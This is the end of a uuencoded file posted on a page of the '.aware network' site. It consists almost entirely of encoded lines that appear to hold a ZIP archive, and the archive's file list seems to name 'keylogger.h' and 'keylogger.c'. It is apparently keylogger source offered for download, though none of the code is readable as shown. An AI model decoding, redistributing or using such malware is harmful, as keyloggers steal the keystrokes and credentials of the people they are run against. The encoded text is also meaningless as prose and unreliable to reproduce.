M5DNQQI"\6IXV:GR[+/MO:=*1+-TLE@@_8.CX:B*SUIFDT(39EH%9Y-&.S%,R
M^8&`7>LUYAL>91MASAZ")(3&RMHSBJ-<M5%.(TU*L'V!L0%5K<EE#.OE(F],
MEHKUR3FCV$<@OYPTB9((OS:1E-HH$;*.3CPNS,<!W>_L./JU_@4`Y2Z#6;I%
M7G`78PF$%BG$DR,-C[WE75N.V6?A+A'*Q=E#%&)&?`&HVZ%;"<C4*&>DTNU#
MEJX`G,7Z/L[#+%J3-&.4?.<%9"MZ97''-VJR7C7<XE-L1K@8D,P2.+</Q8AH
M^>*=41<X5LS)YC3@&N__3:BV#\PX8T.6:<@B#5EBB6[*H$C8(ZVE[?-?IQZ&
M,IEJ>L@I*;FL5D$>KZ`]/-37HB(\1GK#25E^7J4,$&C<2\`X.:=I1'=I;;KG
MB6DN!;2E41[LIK1;`H#B)E6HJAAW4U.U\=7'I8JRFUX*W+*0[Y5P*1C.1G)V
M?"J3OH1NNG_Y/'87&?<"]!8>4=)H/X)_(>)*&=X,N'67R@G3@*!"69'#%??]
MF/N"+!/R=HF_(A->BKP"5<L;@WX&F]O,2NA)F'V$ZSN#-Y;CCR_^:?4\,<W/
M@>P.8C*U![UQW_)=SQFPJ]$%Q"![F@1D64<NJ4+;Z*BZ&3`!O&%`NMVD(P5V
MN'VO!@\Y.I(04X:N\IIBD$0D"N+HUT"YFI`T*,%)U<.H:5%P5SC3+T<I.(@?
M>/A]-;TE6+/#H?R=LQ`L#BR=ZL`J3C.=W4OT&UQJW[SK[Q8!5@Y+TJ%(539E
MT6)];I-$]-Q!OXT4%R*@;?4AEI(Y)*9D4[[492NUXJ.A':R@R0S'5S[]8&>;
MH_+T4>G,LX-_6P2%<^U%7QS51Y'W[&H-LM/OF:[E#VS7LMV!!SF+?D-T^,9R
M;&OH\\LM_7E>ZG>/TI.T32NGGC8]."%(2Q*%00P%M8!$JP)^@Z&&<-83\PZ;
M+K?O<A[6#BYZF05#'#S@/0Q4O92MA=@*M?E>ZBN4E&M,:RY#O;Y[D?<MSQI2
M&L&M8/>I=`<G+,#LSHWVFN*&K-*\5K22"B?G,A;F[T\_[.PFC@=VW_J7?V5Y
M(PBD>6456Z-:Z?\NKA/+NE'9EF9"\@?\RD0ZQHKKDB6XB+6P+=U#WW=R]I\D
MF/5O3)2OJ6NJL'%.1<IHDR(I]9K_2]$N!`U\"R?JRKG2/4UQJ5LY.@X(KIJ\
M<I%K:#9T"LNI_*=K-30O8J]^LRH()1<!9<WKBMK7]+I34:Q-+]:*/3;=JN(L
MVZQ)E1E^D*]V-CYA'!T>?$=_K=('A.G7L3#KBB$*C&P(#GWHM`O/=45)U\/2
M-EU1]E#Z3\UB0[G0%^;7;3/4[Y)G#1HW*%FH`F#-!@L5O]O5CPWEA!K[27+C
M+?Z!1O^!?N*=89:$52[UL9Q+*L"(;8)Z/TOW#/\!4$L!`A0`%`````@`)')&
M-X[]UT*2!```/@P```L``````````0`@(````````&ME>6QO9V=E<BYH4$L!
M`A0`%`````@`.')&-WQW,#^R"@``_",```L``````````0`@(```NP0``&ME
?>6QO9V=E<BYC4$L%!@`````"``(`<@```)8/````````
`
end
This page is part of the .aware network. Content and design © 2004 - 2010 .aware network
Due to certified insanity, we are not responsible for anything, period.